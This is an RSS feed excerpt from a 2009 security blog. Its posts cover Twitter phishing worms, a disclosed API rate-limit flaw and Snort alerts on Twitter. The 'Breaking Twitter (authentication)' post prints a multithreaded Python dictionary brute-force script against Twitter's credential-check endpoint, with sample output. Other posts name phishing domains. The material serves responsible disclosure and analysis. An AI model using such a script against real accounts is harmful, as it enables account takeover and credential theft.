			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/adam-lambert-feeling-good-video.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/adam-lambert-feeling-good-video-150x150.jpg" alt="adam-lambert-feeling-good-video" title="adam-lambert-feeling-good-video" width="150" height="150" class="alignleft size-thumbnail wp-image-1297" /></a>A new twitter worm is being reported making the rounds this morning, which is actually an expertly crafted variant of the worm we reported <a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">back on September 24th</a>. The variant has changed the direct message from &#8220;ROFL, this you on here?&#8221; to &#8220;hi. this you on here?&#8221;. The bad actor in China has also used a new URL, but with the same Twitter login landing page identifiable by its stray HTML brace &#8220;>&#8221; following the line under &#8216;Sign in to Twitter&#8217;. This important difference in wording should allow for a spate of new captured twitter credentials.</p>

<p>:)</p>

<p>In all seriousness, this attack does prey on a successful social engineering ploy, playing on the victim&#8217;s vanity or curiosity about themselves and originating the message from a trusted source. On Twitter you can only send a direct message to someone who is following you. Or put another way, only someone whose updates you have previously expressed an interest in and signed up for (followed) can send you one of these messages. This attack is the Twitter equivalent of e-mail phishing schemes that use an e-mail sent from someone else’s address book: essentially you theoretically know the person already and are more likely to open an e-mail received from them and act upon any instructions contained therein. Combine the suggestion that this person you know or know of has found something about you on a blog, a login screen that is familiar, and you end up with a number of compromised Twitter accounts.</p>

<p>In an unusual variant though, the URL used is less like the actual Twitter URL then in the original attack. Upon putting in credentials, you are like the previous attack presented with the ubiquitous fail whale.</p>

<div id="attachment_1286" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/twitter_phishing.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/twitter_phishing-300x155.jpg" alt="Phishing site found when you click on the tweeted URL." title="twitter_phishing" width="300" height="155" class="size-medium wp-image-1286" /></a><p class="wp-caption-text">Phishing site found when you click on the tweeted URL.</p></div>

<p>This gets even more bizarre in the that fail whale page redirects you to &#8220;whatsup&#8221; http://gfsdgdf5845jg.blogspot.com/, the blog of NetMeg99 from Ventura, CA with a picture of an American Idol contestant. NetMeg99 is a handle of Dawn Lager, apparently a big fan of American Idol contestant Adam Lambert, also from Ventura, CA. Here is her twitter feed as an example: <a href="http://twitter.com/NetMeg99">http://twitter.com/NetMeg99</a>. The feed looks legitimate, so we have no idea why the site is redirecting to this blog, which is not reported in the malware site listings we checked.</p>

<p>The URL of the phishing site, http://blogger.djhxkcs.com, is again hosted in Beijing, China according to GeoIP, the host is listed as Chinanet Yunnan Province Network which is China Telecom’s (3rd biggest mobile telecom provider in China) internet service. This would link it circumstantially to the previous attack, and therefore to a number of other related attacks as detailed <a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">in our previous post</a>.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/10/sir-the-floor-wishes-to-hear-no-more-about-your-colon/">Sir, the floor wishes to hear no more about your colon.</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/operation-phish-phry/">Operation Phish Phry</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">ROFL this you on here? The latest Twitter Worm</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/a-twitter-worms-brilliant-variation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Breaking Twitter (authentication)</title>
		<link>http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 17:26:54 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[tweethon]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=530</guid>
		<description><![CDATA[Yesterday we spent some time speculating on how phishing attacks like the one afflicting Twitter on Wednesday of this week are seeded.  How are the original direct messages sent out that kick off the first stolen credentials, the next set of direct messages, and so on in the loop?  We were hoping, but [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday we spent some time speculating on how phishing attacks like the one afflicting Twitter on Wednesday of this week are seeded.  How are the original direct messages sent out that kick off the first stolen credentials, the next set of direct messages, and so on in the loop?  We were hoping, but not counting on, the fact that Twitter might address this in their blog.  Taking a page from Google or Microsoft, an up front and transparent approach to security seems to be the direction of major players in the online space.  Twitter may consider embracing this approach, given its rampant rise in popularity and thus existence at the edge of malicious customized attacks from bad actors, as it likely has a lot of data that would benefit the information assurance community.</p>

<p><a href="http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/">In our rampant speculating</a> (guessing), we noted that we thought brute force password attacks would move away from the main Twitter login page because of their implementation of CAPTCHA (showing an image that is easy for a human to translate and type in but difficult for a computer to identify), which occurs after several failed login attempts.  While some success has been reported by both researchers attempting to break CAPTCHA, as well as researchers <a href="http://securitylabs.websense.com/content/Blogs/2919.aspx">watching others break it</a>, the processing time of dealing with translating thousands of CAPTCHA messages becomes problematic from a password cracking standpoint (as far as we know, if you have a counter example please show us).  So where does one go to perform the type of brute force password attack that a <a href="http://www.wired.com/threatlevel/2009/01/professed-twitt/">teenage hacker used in January</a> to gain access to <a href="http://twitter.com/crystal">Crystal the Twitter admin&#8217;s</a> account, achieve &#8216;Happiness&#8217; and allow others to tweet on behalf of Barack Obama and Britney Spears?</p>

<div id="attachment_576" class="wp-caption alignnone" style="width: 510px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/obama-twitter-hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/obama-twitter-hacked.jpg" alt="Back in January the @BarackObama account was broken into." title="obama-twitter-hacked" width="500" height="327" class="size-full wp-image-576" /></a><p class="wp-caption-text">Back in January the @BarackObama account was broken into.</p></div>

<p>We thought that the Twitter API (application program interface) is the next place to go.  While moving towards OAuth authentication (a mechanism by which users can provide others access to their data without providing their authentication credentials) the old style API calls with user name and password are still available.  Providing an API is one of the primary reasons for Twitter&#8217;s popularity, as many tools can provide both interfaces into the online services of Twitter, as well as act as aggregators for the data within Twitter&#8217;s data stores.  In fact, for most tweeple, the actual system confines of Twitter might as well be a big database, as they are doing their tweeting through <a href="http://tweetdeck.com/">TweetDeck</a> or <a href="http://www.atebits.com/tweetie-iphone/">Tweetie</a>, monitoring topics at <a href="http://twitterfall.com/">TwitterFall</a>, looking at their favorite famous twits at <a href="http://www.congressional140.com">Congressional140</a> or <a href="http://www.celebritytweet.com/">CelebrityTweet</a>, mapping the world&#8217;s tweets with <a href="http://beta.twittervision.com/">TwitterVision</a>, or evaluating themselves with <a href="http://www.cursebird.com/">CurseBird</a>.</p>

<p>That same API provides an alternate path for logging into Twitter, and provides all the functionality available through the web application (authentication, reading tweets, tweeting).  You can read more about the overall Twitter API here: <a href="http://apiwiki.twitter.com">http://apiwiki.twitter.com</a>.</p>

<p>But wait you say, are you trying to tell us that brute force password attacks will move to the API when I just read on the Twitter API wiki that the API severely limits the rate of calls you are allowed to make to it (200/hour/IP for authenticated requests without whitelisting)?  That should be a mitigating control.  Should be, but isn&#8217;t, because it is not enforced on all of the API calls.</p>

<h3>Rate Limit? We don&#8217;t need no stinking rate limit.</h3>

<p>From the twitter API documenation on <a href="http://apiwiki.twitter.com/Twitter-REST-API-Method%3A-account%C2%A0verify_credentials">account/verify_credentials</a> Twitter states:</p>

<p><em>Returns an HTTP 200 OK response code and a representation of the requesting user if authentication was successful; returns a 401 status code and an error message if not.  Use this method to test if supplied user credentials are valid. Because this method can be a vector for a brute force dictionary attack to determine a user&#8217;s password, it is limited to <em>15 requests per 60 minute period</em> (starting from your first request).</em></p>

<p>Well, let&#8217;s see.  Using a simple python program that tried known incorrect passwords as fast as the the API would respond (but well below DOS thresholds), we have this:</p>

<pre><code><br />[~]% time python twitterauthcheck.py
Login: _eeeeeeeek Password: 0 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 1 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 2 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 3 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 4 failed: HTTP Error 401: Unauthorized

[......SNIP......]

Login: _eeeeeeeek Password: 295 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 296 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 297 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 298 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: 299 failed: HTTP Error 401: Unauthorized
Login: _eeeeeeeek Password: &lt;redacted&gt; accepted
/opt/local/bin/python2.6 testingauth.py  2.03s user 1.47s system 1% cpu 4:25.05 total
</code></pre>

<p>So looking at the details we have 300 passwords attempted in 2 minutes and 3 seconds.  We can also see on the 300th attempt the password was accepted (we put the correct password in at number 300) so we can conclude that the account is not getting locked out due to enforcement of rate limits. So next we ran the script six times concurrently (3,600 attempts).  Still not locked out.</p>

<p>We are also showing that we are able to blow through the overall 150 request limit per IP per hour that Twitter reports is the rate limit.  Running multiple attempts did start to hit some 503 Bad Gateway errors which we thought might be the end of the road, but no, it started responding again a second later.</p>

<p>Running the script is slow.  Twitter&#8217;s greatest defense here against a true brute force attack using a single thread is that it takes a while for their infrastructure to respond.  We can call that security through lack of capacity.  Since a good password cracker takes more then a few hundred entries to work (<a href="http://praetorianprefect.com/wp-content/uploads/2009/09/dic.txt">this LOphtCrack dictionary has 235,007 entries.</a>), we&#8217;ll go multi-threaded.</p>

<p>In a final controlled example, we use a known account where one person sets a dictionary word simple password and the other person runs the script without specifically knowing the password (just in case someone wants to write a Computer Fraud and Abuse Act essay in the comments, when someone logs into their own account its called authentication).  Again, low request threshold, and only accessing our own account.</p>

<p>25,086 attempts thus far before we got bored watching it, so a little over 7 hours and the whole 200,000+ dictionary word list would be done, and likely any account using a common dictionary based password would be accessed.  We tried a few subsequent runs that mixed in a correct password just to ensure everything was working, and the program notified us of the successful login.</p>

<p>If Twitter wants to minimize the probability of success for this vulnerability it could:</p>

<ul>
<li>Enforce its stated rate limits.</li>
<li>Start requiring minimally complex passwords.</li>
<li>Complete the migration to OAuth.</li>
</ul>

<p>As we like Twitter as much as the next, and because we are in favor of good faith disclosure, we have notified them of our concerns. <em>Update</em>: A Twitter representative has responded that the information provided has been sent on to the right internal team at Twitter.</p>

<p>Here&#8217;s the Code: <a href="http://praetorianprefect.com/wp-content/uploads/2009/09/threadedtwitter.py.txt" title="threadedtwitter.py">threadedtwitter.py</a>
<br />
Dictionary: <a href="http://praetorianprefect.com/wp-content/uploads/2009/09/dic.txt" title="dic.txt">dic.txt</a></p>

<p><em>Please note, the code is provided for demonstration purposes only, should not be run ever, and contains intentional errors so that attempts to run it will not work.</em></p>

<p>The command is as follows: twitterauthcheck.py username passwordlist.txt</p>

<pre><code>import threading,Queue
import socket
import tweethon
import urllib2
import socket
import sys

class Threader:
    # Class taken from: Sept 3 2004, Justin A: http://code.activestate.com/recipes/302746/
    def __init__(self, numthreads):
        self._numthreads=numthreads

    def get_data(self,):
        raise NotImplementedError, "You must implement get_data as a function that returns an iterable"
        return range(10000)
    def handle_data(self,data):
        raise NotImplementedError, "You must implement handle_data as a function that returns anything"
        time.sleep(random.randrange(1,5))
        return data*data
    def handle_result(self, data, result):
        raise NotImplementedError, "You must implement handle_result as a function that does anything"
        print data, result

    def _handle_data(self):
        while 1:
            x=self.Q.get()
            if x is None:
                break
            self.DQ.put((x,self.handle_data(x)))

    def _handle_result(self):
        while 1:
            x,xa=self.DQ.get()
            if x is None:
                break
            self.handle_result(x, xa)

    def run(self):
        if hasattr(self, "prerun"):
            self.prerun()
        self.Q=Queue.Queue()
        self.DQ=Queue.Queue()
        ts=[]
        for x in range(self._numthreads):
            t=threading.Thread(target=self._handle_data)
            t.start()
            ts.append(t)

        at=threading.Thread(target=self._handle_result)
        at.start()

        try :
            for x in self.get_data():
                self.Q.put(x)
        except NotImplementedError, e:
            print e
        for x in range(self._numthreads):
            self.Q.put(None)
        for t in ts:
            t.join()
        self.DQ.put((None,None))
        at.join()
        if hasattr(self, "postrun"):
            return self.postrun()
        return None


class twitterpasswordtester(Threader):

    def get_data(self):
        data = open(sys.argv[2]).read()
        data = data.split('\n')
        self._usename = sys.argv[1]
        self.counter = 0
        return data

    def handle_data(self,p):
        print "in testAuth"
        u = self._usename
        x = tweethon.Api(username=u, password=p)
        x.SetCache(None)
        try:
            x.VerifyCredentials()
            results = "login: {0} Password: {1} accepted\n".format(u, p)
        except urllib2.HTTPError, e:
            results = "login: {0} Password: {1} failed: {2}\n".format(u, p, e)
        finally:
            del x
            return results

    def handle_result(self, data, result):
        print result
        print self.counter 
        self.counter += 1
        self.res.append((data,result))
    def prerun(self):
        self.res=[]
    def postrun(self):
        return self.res


z = twitterpasswordtester(10)
for n,ns in  a.run():
    print n,ns
</code></pre>

<p>Tweethon Source: <a href="http://bitbucket.org/jrossi/tweethon/src/tip/README">http://bitbucket.org/jrossi/tweethon/src/tip/README</a></p>

<p><em>The Tweethon library, the only custom or uncommon library above, is intended to make the <a href="http://twitter.com/help/api">Twitter web services API</a> easier for python programmers to use.</em></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/breaking-twitter-authentication/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ROFL this you on here? The latest Twitter Worm</title>
		<link>http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 08:25:29 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[money mule]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=484</guid>
		<description><![CDATA[At 2pm on Wednesday 9/24, wide scale reports started showing up on Twitter that a new Twitter worm sends you a direct message with the content “rofl this you on here? http://videos.twitter.secure-logins01.com”.  The link opens a Twitter style log in page (albeit Twitter’s previous version of this page, they have a new one) which, except for being an old version and a stray angle bracket is convincing.  Upon logging in the user’s credentials are stolen, and presumably direct messages are sent to each follower that user has.]]></description>
			<content:encoded><![CDATA[<p>At 2pm on Wednesday 9/24, wide scale reports started showing up on Twitter that a new Twitter worm sends you a direct message with the content “rofl this you on here? http://videos.twitter.secure-logins01.com”.  The link opens a Twitter style log in page (albeit Twitter’s previous version of this page, they have a new one) which, except for being an old version and a stray angle bracket is convincing.  Upon logging in the user’s credentials are stolen, and presumably direct messages are sent to each follower that user has.</p>

<div id="attachment_488" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_spoofedhomepage1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_spoofedhomepage1-150x150.gif" alt="The phishing site&#039;s Twitter login page." title="The spoofed Twitter homepage" width="150" height="150" class="size-thumbnail wp-image-488" /></a><p class="wp-caption-text">The phishing site's Twitter login page.</p></div>
<div id="attachment_490" class="wp-caption alignleft" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_newhomepage.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/twitter_newhomepage-150x150.gif" alt="The real Twitter homepage" title="Twitter&#039;s real homepage" width="150" height="150" class="size-thumbnail wp-image-490" /></a><p class="wp-caption-text">The real Twitter homepage</p></div>

<p>Because direct messages are private it is not possible for anyone but Twitter itself to pinpoint both when the attack began and the original seeding of the attack (whether compromised user accounts, previously set up Spam/bot accounts, or another method.  A number of accounts appear to have been affected; by 5pm TwitScoop (a service that monitors popular Twitter trends) started reporting trending words including “hacked”, “worm”, and “spreading”.  The attack is effective based on two classic principles of social engineering: the message comes from someone you have previously followed (and implicitly trust on some level) and the message appeals to a combination of curiosity and vanity.</p>

<p>On Twitter you can only send a direct message to someone who is following you. Or put another way, only someone whose updates you have previously expressed an interest in and signed up for (followed) can send you one of these messages.  This attack is the Twitter equivalent of e-mail phishing schemes that use an e-mail sent from someone else’s address book, essentially you theoretically know the person already and are more likely to open an e-mail received from them.  Combine the suggestion that this person you know or know of has found a video of you online, a login screen that is familiar, and you end up with a number of compromised Twitter accounts.</p>

<div id="attachment_494" class="wp-caption alignnone" style="width: 365px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/Tweetie.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/Tweetie.png" alt="The direct message containing the link to the spoofed Twitter login." title="The Direct Message" width="355" height="118" class="size-full wp-image-494" /></a><p class="wp-caption-text">The direct message containing the link to the spoofed Twitter login.</p></div>

<p>This is far from the first worm Twitter has faced (Koobface, StalkDaily, mikeyy), and is not even the first direct message phishing style attack <a href="http://blog.twitter.com/2009/01/gone-phishing.html">in this style</a>.
While labeled a worm on Twitter, it is not confirmed thus far that this is a self-replicating program, an important part of the definition of a computer worm, it just appears that way. In order to get some understanding of this, Twitter would have to release some analysis of their logging, showing some correlation between a compromised Twitter account, a direct message to a group of parties, and then a subsequent compromise and direct message from within that second group, and so on in the chain.  For now we’ll assume this is the path this attack is taking with the evidence we have noticed thus far. Regardless since everyone is referring to this as a Twitter worm, for the sake of clarity, we’ll continue to call it a worm here and update if proven otherwise.</p>

<p>What happened if you did go ahead and put credentials in the login screen: Fail Whale.</p>

<div id="attachment_1289" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/twphish.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/twphish-300x222.jpg" alt="If you did some string in for login or password, this is what you get." title="twphish" width="300" height="222" class="size-medium wp-image-1289" /></a><p class="wp-caption-text">If you put some string in for the login or password, this is the response.</p></div>
<br /><br /></p>

<h4>No Newcomer</h4>

<p>The URL in question is hosted in Beijing, China according to GeoIP, the host is listed as Chinanet Yunnan Province Network which is China Telecom&#8217;s (3rd biggest mobile telecom provider in China) internet service.  The e-mail address used in the registration, lixing688@gmail.com, links this up to similar phishing sites for Twitter and MySpace identified in the malwaredomainlist forums back in July. That time around the site url was: secure-login.twitter.verifiylogin.com/twitter/.  MySpace was cloned at rnyspece.com.</p>

<p>Another URL, Faecibook.com, with the same e-mail address for registrar is a phishing site that appears to prey on users in a way very similar to the Twitter attack, posting comments on Facebook such as this: <em>“seen this really bad blog about you? http://www.jdsense.com/search/redirect.php?f=http://blogs.faecibook.com/sessionid?nglnbskuf”</em>.</p>

<p>That e-mail was also used in a series of money transfer agent scams (money mules) with bogus charity phishing web sites (KPEREZHOME, Rodney Lawrence International, Edward White, et. al) all hosted on a <a href="http://www.infoworld.com/d/developer-world/worst-registrar-xin-net-crackdown-requested-194">problematic registrar</a>, the Xin Net Technology Corporation.</p>

<p>A photographer, Warren Henke, <a href="http://www.warrenhenke.com/blogs/rants/glen-hamilton-international-organization">wrote a blog post</a> describing receipt of a phishing e-mail associated with this scam from the Glen Hamilton International Organization.</p>

<p><div id="attachment_506" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/rodney-lawrence-international.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/rodney-lawrence-international-300x228.jpg" alt="The phishing site." title="Rodney Lawrence International" width="300" height="228" class="size-medium wp-image-506" /></a><p class="wp-caption-text">The Rodney Lawrence International phishing site.</p></div>

<h4>Something New</h4>

<p>One of the differences with this attack that separates it from previous ones is that in the time since the more famous compromises of January of this year (Barack Obama, Britney Spears, CBS News, Kevin Rose) Twitter has implemented some controls around the login screen, including a CAPTCHA element that shows up after several bad password entries.</p>

<p>CAPTCHA is a program designed to differentiate humans from computers and prevent abuse by bots, automated programs used to generate spam among other things.  It is a contrived acronym standing for Completely Automated Public Turing test to tell Computers and Humans Apart. CAPTCHA has three primary principles: the computer can’t solve it, most humans can, and the tool does not rely on some form of obscurity such as being a new implementation.</p>

<div id="attachment_498" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/09/capchascreen1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/09/capchascreen1-300x179.gif" alt="reCAPTCHA, a free service that combines CAPTCHA with the digitizing of printed books, newspapers, and old radio shows." title="ReCaptcha" width="300" height="179" class="size-medium wp-image-498" /></a><p class="wp-caption-text">reCAPTCHA, a free service that combines CAPTCHA with the digitizing of printed books, newspapers, and old radio shows.</p></div>

<p>Actually reCAPTCHA is used, a free service that combines CAPTCHA with the digitizing of printed books, newspapers, and old radio shows. When you are translating the image to text, you are acting as a human optical character recognition (OCR) translator. The service was acquired by Google this month.
Circumventions of CAPTCHA have occurred with each step in the method’s evolution, starting in wide use from Yahoo’s EZ-Gimpy program, using roughly the same three step process: pre-processing or removing the background obscurities, segmentation or separating the letters, and classification or identification of each letter.  Segmentation remains the one area where humans outperform computers; however, spammers are achieving some level of success in this area.  Here is a good analysis from WebSense detailing how a service in Russia is achieving a <a href="http://securitylabs.websense.com/content/Blogs/2919.aspx">20% rate in automated breaks</a> of CAPTCHA images.</p>

<p>So CAPTCHA, while not perfect, does help mitigate dictionary brute force password attacks in that it adds another layer of complexity to the authentication process.  Some of the reasons for beating CAPTCHA are to be able to post blog comment spam, create fraudulent accounts such as the e-mail example above, and similar automated completion of web forms designed for human interaction.  In these applications it makes sense: a download of the image, a translation to text, and the comment spam is posted, the e-mail account created, and so forth.  If two or three out of every ten requests is successful, the comment will be posted or new account opened at an acceptable rate.</p>

<p>In a password cracking application, which moves through a number of password possibilities for each id quickly the additional processing combined with a less than perfect translation rate adds a level of complexity likely not used.  With that in mind, how does the bad actor break into Twitter accounts easily?
The answer may lie in the Twitter API, which while limiting the rate of requests still allows for a large request rate upon request.  That is not to suggest that this is definitely what this attacker did, in fact the bad actor in this case may have previously had compromised ids, may have used more conventional spam tactics to get an original seeding of ids, or may have broken into a few early accounts as discussed here.  Only Twitter could potentially have the log access to figure this out.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/09/rofl-this-you-on-here-the-latest-twitter-worm/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Snort is Tweeting</title>
		<link>http://praetorianprefect.com/archives/2009/04/snort-is-tweeting/</link>
		<comments>http://praetorianprefect.com/archives/2009/04/snort-is-tweeting/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 04:12:27 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Intrusion Detection]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=74</guid>
		<description><![CDATA[Network engineer Leon Ward of SourceFire has taken the unusual step of publishing his intrusion detection system (IDS) alerts over Twitter, the popular microblogging platform.  If you are so inclined, you can monitor his IDS along with your own, by following <a href="https://twitter.com/SnortIDS">@SnortIDS</a> on <a href="http://www.twitter.com">Twitter</a>.]]></description>
			<content:encoded><![CDATA[<p>Network engineer Leon Ward of SourceFire has taken the unusual step of publishing his intrusion detection system (IDS) alerts over Twitter, the popular microblogging platform.  If you are so inclined, you can monitor his IDS along with your own, by following <a href="https://twitter.com/SnortIDS">@SnortIDS</a> on <a href="http://www.twitter.com">Twitter</a>.</p>

<div id="attachment_87" class="wp-caption alignnone" style="width: 789px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/04/snort_twitter.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/04/snort_twitter.gif" alt="Snort is on Twitter" title="snort_twitter" width="779" height="485" class="size-full wp-image-87" /></a><p class="wp-caption-text">Snort is on Twitter</p></div>

<p>Thus far the account has the distinction of being mentioned (tweeted and retweeted) 10 times on Twitter, while still only being followed by 5 people :).  This is probably a reflection of the real life problem of getting people to review and respond to IDS alerts.</p>

<p>Many firms consider intrusion alerts confidential data, right alongside vulnerability and security test data.  IDS logs contain information about internal hosts, and if properly tuned (a big if) can be used to discern which signatures a firm is most interested in, potentially because they are aware of vulnerable systems downstream.  Ward has partially mitigated this concern by scrubbing out information on his internal hosts in the tweet stream.</p>

<p>Snort is the immensely popular open source network intrusion detection/prevention system originally written by Martin Roesch and maintained today by Sourcefire, the Columbia Maryland security firm of which Roesch is CTO.  There are some 3mm downloads of the Snort IDS since inception.</p>

<p>Leon has stated that he will release his code in the next few weeks.</p>

<h4>References</h4>

<p><a href="http://leonward.wordpress.com/2009/04/27/tweetyard-sourcefire-and-snort-alerts-to-twitter/">TweetYard &#8211; Sourcefire and Snort alerts to Twitter</a></p>

<p><strong>Related Posts:</strong></p>
<ul>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/04/snort-is-tweeting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
